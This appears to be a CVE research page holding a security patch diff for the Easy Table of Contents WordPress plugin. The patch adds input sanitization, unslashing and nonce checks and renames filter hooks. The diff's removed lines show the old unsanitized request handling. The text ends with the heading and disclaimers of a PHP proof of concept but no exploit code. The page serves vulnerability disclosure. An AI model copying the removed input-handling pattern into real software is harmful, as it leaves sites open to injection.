 				if ( in_array( $type, ezTOC_Option::get( 'enabled_post_types', array() ) ) ) {
@@ -599,7 +604,7 @@

 			if ( current_user_can( 'edit_post', $post_id ) &&
 			     isset( $_REQUEST['_ez_toc_nonce'] ) &&
-			     wp_verify_nonce( $_REQUEST['_ez_toc_nonce'], 'ez_toc_save' )
+			     wp_verify_nonce( wp_unslash( $_REQUEST['_ez_toc_nonce'] ), 'ez_toc_save' ) //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 			) {

 				// Checkboxes are present if checked, absent if not.
@@ -623,7 +628,7 @@
 				}

 				if ( isset( $_REQUEST['ez-toc-settings']['header-label'] )) {
-					$header_label = sanitize_text_field( $_REQUEST['ez-toc-settings']['header-label'] );
+					$header_label = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['header-label'] ) );
 					update_post_meta( $post_id, '_ez-toc-header-label', $header_label );
 				}

@@ -633,7 +638,7 @@
 				                        'mobile',
 				                        'desktop'
 				                    );
-				    $device_target = sanitize_text_field( $_REQUEST['ez-toc-settings']['device-target'] );
+				    $device_target = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['device-target'] ) );
 				    if( in_array( $device_target, $align_values ) ) {
 				        update_post_meta( $post_id, '_ez-toc-device-target', $device_target );
 				    }
@@ -646,7 +651,7 @@
 				                        'right',
 				                        'center'
 				                    );
-				    $alignment = sanitize_text_field( $_REQUEST['ez-toc-settings']['toc-alignment'] );
+				    $alignment = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['toc-alignment'] ) );
 				    if( in_array( $alignment, $align_values ) ) {
 				        update_post_meta( $post_id, '_ez-toc-alignment', $alignment );
 				    }
@@ -656,7 +661,7 @@

 					if ( is_array( $_REQUEST['ez-toc-settings']['heading-levels'] ) ) {

-						$headings = array_map( 'absint', $_REQUEST['ez-toc-settings']['heading-levels'] );
+						$headings = array_map( 'absint', wp_unslash( $_REQUEST['ez-toc-settings']['heading-levels'] ) );

 					} else {

@@ -670,14 +675,12 @@
 					update_post_meta( $post_id, '_ez-toc-heading-levels', array() );
 				}

-				if ( isset( $_REQUEST['ez-toc-settings']['alttext'] ) && ! empty( $_REQUEST['ez-toc-settings']['alttext'] ) ) {
+				if ( isset( $_REQUEST['ez-toc-settings']['alttext'] ) && ! empty( sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['alttext'] ) ) ) ) {

 					$alttext = '';
-
-					if ( is_string( $_REQUEST['ez-toc-settings']['alttext'] ) ) {
-
-						$alttext = trim( $_REQUEST['ez-toc-settings']['alttext'] );
-
+					$alttext_setting = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['alttext'] ) );
+					if ( is_string( $alttext_setting ) ) {
+						$alttext = trim(  $alttext_setting );
 							/*
 						* This is basically `esc_html()` but does not encode quotes.
 						* This is to allow angle brackets and such which `wp_kses_post` would strip as "evil" scripts.
@@ -715,9 +718,10 @@
 				if ( isset( $_REQUEST['ez-toc-settings']['exclude'] ) && ! empty( $_REQUEST['ez-toc-settings']['exclude'] ) ) {

 					$exclude = '';
-					if ( is_string( $_REQUEST['ez-toc-settings']['exclude'] ) ) {
+					$exclude_request = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['exclude'] ) );
+					if ( is_string( $exclude_request ) ) {

-						$exclude = trim( $_REQUEST['ez-toc-settings']['exclude'] );
+						$exclude = trim( $exclude_request );

 							/*
 						* This is basically `esc_html()` but does not encode quotes.
@@ -756,7 +760,7 @@
 						'top',
 						'bottom',
 					);
-				    $position = sanitize_text_field( $_REQUEST['ez-toc-settings']['position-specific'] );
+				    $position = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['position-specific'] ) );
 				    if( in_array( $position, $align_values ) ) {
 				        update_post_meta( $post_id, '_ez-toc-position-specific', $position );
 				    }
@@ -772,14 +776,14 @@

 				    if($position == 'aftercustompara' ) {
 						if (isset($_REQUEST['ez-toc-settings']['s_custom_para_number'])) {
-						$s_custom_para_number = sanitize_text_field( $_REQUEST['ez-toc-settings']['s_custom_para_number'] );
+						$s_custom_para_number = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['s_custom_para_number'] ) );
 				        update_post_meta( $post_id, '_ez-toc-s_custom_para_number', $s_custom_para_number );
 						}
 				    }

 				    if($position == 'aftercustomimg' ) {
 						if (isset($_REQUEST['ez-toc-settings']['s_custom_img_number'])) {
-						$s_custom_img_number = sanitize_text_field( $_REQUEST['ez-toc-settings']['s_custom_img_number'] );
+						$s_custom_img_number = sanitize_text_field( wp_unslash( $_REQUEST['ez-toc-settings']['s_custom_img_number'] ) );
 				        update_post_meta( $post_id, '_ez-toc-s_custom_img_number', $s_custom_img_number );
 						}
 				    }
@@ -827,14 +831,14 @@
 		        if ( ! isset( $_POST['eztoc_security_nonce'] ) ){
 		           return;
 		        }
-		        if ( !wp_verify_nonce( $_POST['eztoc_security_nonce'], 'eztoc_ajax_check_nonce' ) ){
+		        if ( !wp_verify_nonce( wp_unslash( $_POST['eztoc_security_nonce'] ), 'eztoc_ajax_check_nonce' ) ){ //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		           return;
 		        }
 				if ( !current_user_can( 'manage_options' ) ) {
 					return;
 				}
-		        $message        = $this->eztoc_sanitize_textarea_field($_POST['message']);
-		        $email          = sanitize_email($_POST['email']);
+		        $message        = isset($_POST['message']) ? $this->eztoc_sanitize_textarea_field(wp_unslash( $_POST['message'] )) : ''; //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		        $email          = isset($_POST['email']) ? sanitize_email(wp_unslash( $_POST['email'])) : '';

 		        if(function_exists('wp_get_current_user')){

@@ -986,6 +990,7 @@
 				'bullet_spacing'                     => false,
 				'include_homepage'                   => false,
 				'exclude_css'                        => false,
+				//phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude
 				'exclude'                            => '',
 				'heading_levels'                     => [ 1, 2, 3, 4, 5, 6 ],
 				'restrict_path'                      => '',
@@ -1163,6 +1168,7 @@
 			}

 			if( isset( $options['exclude'] )){
+				//phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude
 				$options_to_update['exclude'] = $options['exclude'];
 			}

--- a/easy-table-of-contents/includes/class-eztoc-option.php
+++ b/easy-table-of-contents/includes/class-eztoc-option.php
@@ -98,12 +98,14 @@
 			//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
 			if(isset($_FILES['eztoc_import_backup'])){
 				//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-		    	$fileInfo = wp_check_filetype(basename($_FILES['eztoc_import_backup']['name']));
+				$eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["name"])):'';
+		    	$fileInfo = wp_check_filetype(basename($eztoc_import_backup_name));
 		        if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') {
 					//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-		            if(!empty($_FILES["eztoc_import_backup"]["tmp_name"])){
+					$eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])):'';
+		            if(!empty($eztoc_import_backup_tmpname)){
 						//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-		            	$uploaded_file_settings = json_decode(eztoc_read_file_contents($_FILES["eztoc_import_backup"]["tmp_name"]), true);
+		            	$uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true);
 		           }
 		        }
 		    }
@@ -142,7 +144,11 @@
 			foreach ( $registered as $sectionID => $sectionOptions ) {

 				$input = $input ? $input : array();
-				$input = apply_filters( 'ez_toc_settings_' . $sectionID . '_sanitize', $input );
+				//This is legacy filter hook,it will be removed in future versions.
+				$input = apply_filters( 'ez_toc_settings_' . $sectionID . '_sanitize', $input ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+				//This is the new filter hook , it should be used instead of the legacy one.
+				$input = apply_filters( 'eztoc_settings_' . $sectionID . '_sanitize', $input );

 				// Loop through each setting being saved and pass it through a sanitization filter
 				foreach ( $input as $key => $value ) {
@@ -153,11 +159,19 @@
 					if ( $type ) {

 						// Field type specific filter
-						$input[ $key ] = apply_filters( 'ez_toc_settings_sanitize_' . $type, $value, $key );
+						//This is legacy filter hook,it will be removed in future versions.
+						$input[ $key ] = apply_filters( 'ez_toc_settings_sanitize_' . $type, $value, $key ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+						//This is the new filter hook , it should be used instead of the legacy one.
+						$input[ $key ] = apply_filters( 'eztoc_settings_sanitize_' . $type, $input[ $key ], $key );
 					}

 					// General filter
-					$input[ $key ] = apply_filters( 'ez_toc_settings_sanitize', $input[ $key ], $key );
+					//This is legacy filter hook,it will be removed in future versions.
+					$input[ $key ] = apply_filters( 'ez_toc_settings_sanitize', $input[ $key ], $key ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+					//This is the new filter hook , it should be used instead of the legacy one.
+					$input[ $key ] = apply_filters( 'eztoc_settings_sanitize', $input[ $key ], $key );
 				}

 				// Loop through the registered options.
@@ -202,8 +216,12 @@

 			$options = array(
 				'general' => apply_filters(
-					'ez_toc_settings_general',
-					array(
+					//This is the new filter hook , it should be used instead of the legacy one.
+					'eztoc_settings_general',
+					apply_filters(
+						//This is legacy filter hook,it will be removed in future versions.
+						'ez_toc_settings_general', //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+						array(
 						'enabled_post_types' => array(
 							'id' => 'enabled_post_types',
 							'name' => esc_html__( 'Enable Support', 'easy-table-of-contents' ),
@@ -392,9 +410,14 @@
 							'default' => 'Off',
 						),
 					)
+					)
 				),
 				'appearance' => apply_filters(
-					'ez_toc_settings_appearance',
+					//This is the new filter hook , it should be used instead of the legacy one.
+					'eztoc_settings_appearance',
+					apply_filters(
+						//This is legacy filter hook,it will be removed in future versions.
+						'ez_toc_settings_appearance', //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
 					array(
 						'width' => array(
 							'id' => 'width',
@@ -641,9 +664,14 @@
 							'default' => '',
 						),
 					)
+					)
 				),
 				'advanced' => apply_filters(
-					'ez_toc_settings_advanced',
+					//This is the new filter hook , it should be used instead of the legacy one.
+					'eztoc_settings_advanced',
+					apply_filters(
+						//This is legacy filter hook,it will be removed in future versions.
+						'ez_toc_settings_advanced', //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
 					array(
 						'lowercase' => array(
 							'id' => 'lowercase',
@@ -959,10 +987,15 @@
 							'default' => true,
 						),
 					)
+					)
 				),
                 'shortcode' => apply_filters(
-                    'Copy shortcode  ',
-                    array(
+                    //This is the new filter hook , it should be used instead of the legacy one.
+                    'eztoc_settings_shortcode',
+                    apply_filters(
+                        //This is legacy filter hook,it will be removed in future versions.
+                        'Copy shortcode  ', //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+                        array(
                         'shortcode-first-paragraph'      => array(
                             'id'   => 'shortcode-first-paragraph',
                             'name' => esc_html__( 'Manual Adding the shortcode', 'easy-table-of-contents' ),
@@ -1399,9 +1432,14 @@
                             'type' => 'descriptive_text',
                         ),
                     )
+					)
                 ),
 				'sticky' => apply_filters(
-                    'ez_toc_settings_sticky',
+					//This is the new filter hook , it should be used instead of the legacy one.
+                    'eztoc_settings_sticky',
+                    apply_filters(
+                        //This is legacy filter hook,it will be removed in future versions.
+                        'ez_toc_settings_sticky', //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
                     array(
 						'sticky-toggle'                   => array(
 							'id'      => 'sticky-toggle',
@@ -1558,9 +1596,14 @@
 text
 /featured/'),
                     )
+					)
                 ),
                 'compatibility' => apply_filters(
-                    'ez_toc_settings_compatibility',
+					//This is the new filter hook , it should be used instead of the legacy one.
+                    'eztoc_settings_compatibility',
+                    apply_filters(
+                        //This is legacy filter hook,it will be removed in future versions.
+                        'ez_toc_settings_compatibility', //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
                     array(
                         'mediavine-create' => array(
 							'id' => 'mediavine-create',
@@ -1597,12 +1640,15 @@
 							'default' => false,
 						),
                     )
+					)
                 ),
 				'prosettings' => apply_filters(
-					'ez_toc_settings_prosettings', array()
+					//This is the new filter hook , it should be used instead of the legacy one.
+					'eztoc_settings_prosettings',
+					 array()
 				),
 				'import_export' => apply_filters(
-					'ez_toc_settings_import_export', array(
+					'ez_toc_settings_import_export', array(  //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Pro plugin hook for compatibility.
 						'delete-data-on-uninstall' => array(
 							'id' 		=> 'delete-data-on-uninstall',
 							'name' 		=> esc_html__( 'Delete Data on Uninstall', 'easy-table-of-contents' ),
@@ -1614,7 +1660,12 @@
 				),
 			);

-			return apply_filters( 'ez_toc_registered_settings', $options );
+			//This is legacy filter hook,it will be removed in future versions.
+			$options = apply_filters( 'ez_toc_registered_settings', $options ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new filter hook , it should be used instead of the legacy one.
+			$options = apply_filters( 'eztoc_registered_settings', $options );
+
+			return $options;
 		}

         /**
@@ -1839,7 +1890,11 @@
 				'show-toc-toolbar-classic'            => true,
 			);

-			return apply_filters( 'ez_toc_get_default_options', $defaults );
+			//This is legacy filter hook,it will be removed in future versions.
+			$defaults = apply_filters( 'ez_toc_get_default_options', $defaults ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+			//This is the new filter hook , it should be used instead of the legacy one.
+			return apply_filters( 'eztoc_get_default_options', $defaults );
 		}

 		/**
@@ -1856,7 +1911,11 @@
 			$defaults = self::getDefaults();
 			$options  = get_option( 'ez-toc-settings', $defaults );

-			return apply_filters( 'ez_toc_get_options', $options );
+			//This is legacy filter hook,it will be removed in future versions.
+			$options = apply_filters( 'ez_toc_get_options', $options ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+			//This is the new filter hook , it should be used instead of the legacy one.
+			return apply_filters( 'eztoc_get_options', $options );
 		}

 		/**
@@ -1876,9 +1935,17 @@
 			$options = (array) self::getOptions();

 			$value = array_key_exists( $key, $options ) ? $options[ $key ] : $default;
-			$value = apply_filters( 'ez_toc_get_option', $value, $key, $default );
+			//This is legacy filter hook,it will be removed in future versions.
+			$value = apply_filters( 'ez_toc_get_option', $value, $key, $default ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.

-			return apply_filters( 'ez_toc_get_option_' . $key, $value, $key, $default );
+			//This is the new filter hook , it should be used instead of the legacy one.
+			$value = apply_filters( 'eztoc_get_option', $value, $key, $default );
+
+			//This is legacy filter hook,it will be removed in future versions.
+			$value = apply_filters( 'ez_toc_get_option_' . $key, $value, $key, $default ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+			//This is the new filter hook , it should be used instead of the legacy one.
+			return apply_filters( 'eztoc_get_option_' . $key, $value, $key, $default );
 		}

 		/**
@@ -1904,7 +1971,11 @@

 			$options = self::getOptions();

-			$options[ $key ] = apply_filters( 'ez_toc_update_option', $value, $key );
+			//This is legacy filter hook,it will be removed in future versions.
+			$options[ $key ] = apply_filters( 'ez_toc_update_option', $value, $key ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+			//This is the new filter hook , it should be used instead of the legacy one.
+			$options[ $key ] = apply_filters( 'eztoc_update_option', $options[ $key ], $key );

 			return update_option( 'ez-toc-settings', $options );
 		}
@@ -1990,7 +2061,11 @@
 		 */
 		public static function getPostTypes() {

-			$exclude    = apply_filters( 'ez_toc_exclude_post_types', array( 'attachment', 'revision', 'nav_menu_item', 'safecss' ) );
+			//This is legacy filter hook,it will be removed in future versions.
+			$exclude    = apply_filters( 'ez_toc_exclude_post_types', array( 'attachment', 'revision', 'nav_menu_item', 'safecss' ) ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+
+			//This is the new filter hook , it should be used instead of the legacy one.
+			$exclude    = apply_filters( 'eztoc_exclude_post_types', $exclude );
 			$registered = get_post_types( array(), 'objects' );
 			$types      = array();

@@ -2644,7 +2719,7 @@
          * @return bool|string
         */
         public static function eztoc_reset_options_to_default() {
-            if( !wp_verify_nonce( sanitize_text_field( $_POST['eztoc_security_nonce'] ), 'eztoc_ajax_check_nonce' ) )
+            if( isset($_POST['eztoc_security_nonce']) && !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['eztoc_security_nonce'] ) ), 'eztoc_ajax_check_nonce' ) )
             {
                 return esc_html__('Security Alert: nonce not verified!', 'easy-table-of-contents' );
             }
@@ -2663,8 +2738,8 @@

 }

-add_filter("ez_toc_settings_sticky", "ez_toc_settings_sticky_func_nonpro");
-function ez_toc_settings_sticky_func_nonpro($settings)
+add_filter("ez_toc_settings_sticky", "eztoc_settings_sticky_func_nonpro");
+function eztoc_settings_sticky_func_nonpro($settings)
 {
 	if(function_exists('is_plugin_active') && !is_plugin_active('easy-table-of-contents-pro/easy-table-of-contents-pro.php')){
 			$sticky_pro_settings = array(
--- a/easy-table-of-contents/includes/class-eztoc-pointers.php
+++ b/easy-table-of-contents/includes/class-eztoc-pointers.php
@@ -12,7 +12,7 @@

 	public function eztoc_subscribe_for_newsletter() {

-		if ( ! wp_verify_nonce( $_POST['eztoc_security_nonce'] , 'eztoc_ajax_check_nonce' ) ) {
+		if ( isset( $_POST['eztoc_security_nonce'] ) && ! wp_verify_nonce( sanitize_text_field ( wp_unslash( $_POST['eztoc_security_nonce'] ) ) , 'eztoc_ajax_check_nonce' ) ) {

 			echo esc_html__( 'security_nonce_not_verified', 'easy-table-of-contents' );
 			wp_die();
@@ -26,9 +26,9 @@
 		$api_url = 'http://magazine3.company/wp-json/api/central/email/subscribe';

 		$api_params = array(
-			'name' 		=> sanitize_text_field($_POST['name']),
-			'email'		=> sanitize_email($_POST['email']),
-			'website'	=> sanitize_text_field($_POST['website']),
+			'name' 		=> isset($_POST['name'] ) ? sanitize_text_field(wp_unslash( $_POST['name'])): '',
+			'email'		=> isset($_POST['email'] ) ? sanitize_email(wp_unslash($_POST['email'])) : '',
+			'website'	=> isset($_POST['website']) ? sanitize_text_field(wp_unslash( $_POST['website'])):'',
 			'type'		=> 'etoc'
 		);

@@ -48,7 +48,7 @@
                 global $current_user;
 				$tour     = array();
                 // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information but only loading it inside the admin_enqueue_scripts.
-                $tab      = isset( $_GET['tab'] ) ? sanitize_text_field( $_GET['tab'] ) : '';
+                $tab      = isset( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : '';

                 if ( ! array_key_exists( $tab, $tour ) ) {

--- a/easy-table-of-contents/includes/class-eztoc-post.php
+++ b/easy-table-of-contents/includes/class-eztoc-post.php
@@ -1,6 +1,6 @@
 <?php

-use function Easy_PluginsTable_Of_ContentsCordbr2;
+use function EztocTable_Of_ContentsCordbr2;

 // Exit if accessed directly
 if ( ! defined( 'ABSPATH' ) ) exit;
@@ -103,8 +103,22 @@
 		 * in easy toc plugin
 		 * @since 2.0.51
 		 */
+		//This is legacy hook,it will be removed in future versions.
         $plugins = apply_filters(
-            'ez_toc_apply_filter_status',
+            'ez_toc_apply_filter_status',  //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+            array(
+                'booster-extension/booster-extension.php',
+                'divi-bodycommerce/divi-bodyshop-woocommerce.php',
+                'social-pug/index.php',
+				'fusion-builder/fusion-builder.php',
+				'modern-footnotes/modern-footnotes.php',
+				'yet-another-stars-rating-premium/yet-another-stars-rating.php',
+				'tasty-recipes/tasty-recipes.php'
+            )
+        );
+		//This is the new hook , it should be used instead of the legacy one.
+		$plugins = apply_filters(
+            'eztoc_apply_filter_status',
             array(
                 'booster-extension/booster-extension.php',
                 'divi-bodycommerce/divi-bodyshop-woocommerce.php',
@@ -117,18 +131,24 @@
         );

         foreach ( $plugins as $value ) {
-            if ( in_array( $value, apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+            if ( eztoc_is_plugin_active( $value) ) {
                 $apply_content_filter = false;
             }
         }
-
-		$apply_content_filter = apply_filters('ez_toc_apply_filter_status_manually', $apply_content_filter);
+		//This is legacy hook,it will be removed in future versions
+		$apply_content_filter = apply_filters('ez_toc_apply_filter_status_manually', $apply_content_filter); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+		//This is the new hook , it should be used instead of the legacy one.
+		$apply_content_filter = apply_filters('eztoc_apply_filter_status_manually', $apply_content_filter);
 		global $eztoc_disable_the_content;
 	    if($eztoc_disable_the_content){
 			$apply_content_filter = false;
 			$eztoc_disable_the_content = false;
 	    }
-        return apply_filters('ez_toc_apply_filter_status_final', $apply_content_filter);
+		//This is legacy hook,it will be removed in future versions.
+		$eztoc_apply_filter_status_final =  apply_filters('ez_toc_apply_filter_status_final', $apply_content_filter); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+		//This is the new hook , it should be used instead of the legacy one.
+		$eztoc_apply_filter_status_final =  apply_filters('eztoc_apply_filter_status_final', $apply_content_filter);
+        return $eztoc_apply_filter_status_final;
     }

 	/**
@@ -212,7 +232,7 @@

 		}

-		$this->post->post_content = apply_filters( 'the_content', strip_shortcodes( $this->post->post_content ) );
+		$this->post->post_content = apply_filters( 'the_content', strip_shortcodes( $this->post->post_content ) ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Using WP code hook

 		add_filter( 'the_content', array( 'ezTOC', 'the_content' ), 100 );  // increased  priority to fix other plugin filter overwriting our changes

@@ -241,12 +261,25 @@
 		 * Ensure the ezTOC shortcodes are not processed when applying `the_content` filter
 		 * otherwise an infinite loop may occur.
 		 */
+		//This is legacy hook,it will be removed in future versions.
+
 		$tags_to_remove = apply_filters(
-			'ez_toc_strip_shortcodes_tagnames',
+			'ez_toc_strip_shortcodes_tagnames',  //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
 			array(
 				'ez-toc',
 				'ez-toc-widget-sticky',
-				apply_filters( 'ez_toc_shortcode', 'toc' ),
+				apply_filters( 'ez_toc_shortcode', 'toc' ),  //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			),
+			$content
+		);
+
+		//This is the new hook , it should be used instead of the legacy one.
+		$tags_to_remove = apply_filters(
+			'eztoc_strip_shortcodes_tagnames',
+			array(
+				'ez-toc',
+				'ez-toc-widget-sticky',
+				apply_filters( 'eztoc_shortcode', 'toc' ),
 			),
 			$content
 		);
@@ -291,7 +324,7 @@
 			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason : Nonce verification is not required here.
 		} elseif ( isset( $_REQUEST[ 'page' ] ) ) {
 			//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason : Nonce verification is not required here.
-			return $_REQUEST[ 'page' ];
+			return absint( wp_unslash( $_REQUEST[ 'page' ] ) );
 		}

 		// Finally, return the $default if it was supplied.
@@ -332,7 +365,10 @@
 	 */
 	private function processPages() {

-		$content = apply_filters( 'ez_toc_modify_process_page_content', $this->post->post_content );
+		//This is legacy hook,it will be removed in future versions.
+		$content = apply_filters( 'ez_toc_modify_process_page_content', $this->post->post_content ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+		//This is the new hook , it should be used instead of the legacy one.
+		$content = apply_filters( 'eztoc_modify_process_page_content', $this->post->post_content );

 		// Fix for wordpress category pages showing wrong toc if they have description
 		if(is_category()){
@@ -351,8 +387,10 @@
 			$tax = $wp_query->get_queried_object();

 			if ( is_object( $tax ) ) {
-
-				$content = apply_filters( 'ez_toc_modify_taxonomy_content', $tax->description, $tax->term_id );
+				//This is legacy hook,it will be removed in future versions.
+				$content = apply_filters( 'ez_toc_modify_taxonomy_content', $tax->description, $tax->term_id ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+				//This is the new hook , it should be used instead of the legacy one.
+				$content = apply_filters( 'eztoc_modify_taxonomy_content', $tax->description, $tax->term_id );

 			}
 		}
@@ -362,13 +400,15 @@
 			$term_object = get_queried_object();

 			if ( ! empty( $term_object->description ) ) {
-
-				$content = apply_filters( 'ez_toc_modify_product_category_content', $term_object->description );
+				//This is legacy hook,it will be removed in future versions.
+				$content = apply_filters( 'ez_toc_modify_product_category_content', $term_object->description ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+				//This is the new hook , it should be used instead of the legacy one.
+				$content = apply_filters( 'eztoc_modify_product_category_content', $term_object->description );

 			}
 		}

-		if ( in_array( 'js_composer_salient/js_composer.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+		if ( eztoc_is_plugin_active( 'js_composer_salient/js_composer.php' ) ) {

 			$eztoc_post_id   = get_the_ID();
 			$eztoc_post_meta = get_option( 'ez-toc-post-meta-content', false );
@@ -458,7 +498,10 @@
 		 * @param $selectors array  Array of classes/id selector to exclude from TOC.
 		 * @param $content   string Post content.
 		 */
-		$selectors = apply_filters( 'ez_toc_exclude_by_selector', array( '.ez-toc-exclude-headings' ), $content );
+		//This is legacy hook,it will be removed in future versions
+		$selectors = apply_filters( 'ez_toc_exclude_by_selector', array( '.ez-toc-exclude-headings' ), $content ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+		//This is the new hook , it should be used instead of the legacy one.
+		$selectors = apply_filters( 'eztoc_exclude_by_selector', array( '.ez-toc-exclude-headings' ), $content );
 		$selectors = ! is_array( $selectors ) ? [] : $selectors; // In case we get string instead of array
 		$nodes = $html->Find( implode( ',', $selectors ) );
 		if(isset($nodes['ids'])){
@@ -489,12 +532,19 @@
 	private function extractHeadings( $content, $page = 1 ) {

 		$matches = array();
+		$eztoc_current_theme = wp_get_theme();

-		if ( in_array( 'elementor/elementor.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || in_array( 'divi-machine/divi-machine.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) || 'Fortunato Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) || function_exists( 'koyfin_setup' )) {
-                    $content = apply_filters( 'ez_toc_extract_headings_content', $content );
-                } else {
-                    $content = apply_filters( 'ez_toc_extract_headings_content', wptexturize( $content ) );
-                }
+		if ( eztoc_is_plugin_active( 'elementor/elementor.php' ) || eztoc_is_plugin_active( 'divi-machine/divi-machine.php') || 'Fortunato Pro' == $eztoc_current_theme->get( 'Name' ) || function_exists( 'koyfin_setup' )) {
+			//This is legacy hook,it will be removed in future versions.
+			$content = apply_filters( 'ez_toc_extract_headings_content', $content ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$content = apply_filters( 'eztoc_extract_headings_content', $content );
+		} else {
+			//This is legacy hook,it will be removed in future versions.
+			$content = apply_filters( 'ez_toc_extract_headings_content', wptexturize( $content ) ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$content = apply_filters( 'eztoc_extract_headings_content', wptexturize( $content ) );
+		}

         //anchor not working if seedprod-pro/beaver-builder heading has hyphen
         if ( ezTOC_Option::get( 'seedprod-pro' ) || ezTOC_Option::get( 'beaver-builder' ) ) {
@@ -505,7 +555,10 @@
                 * Lasso Product Compatibility
                 * @since 2.0

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
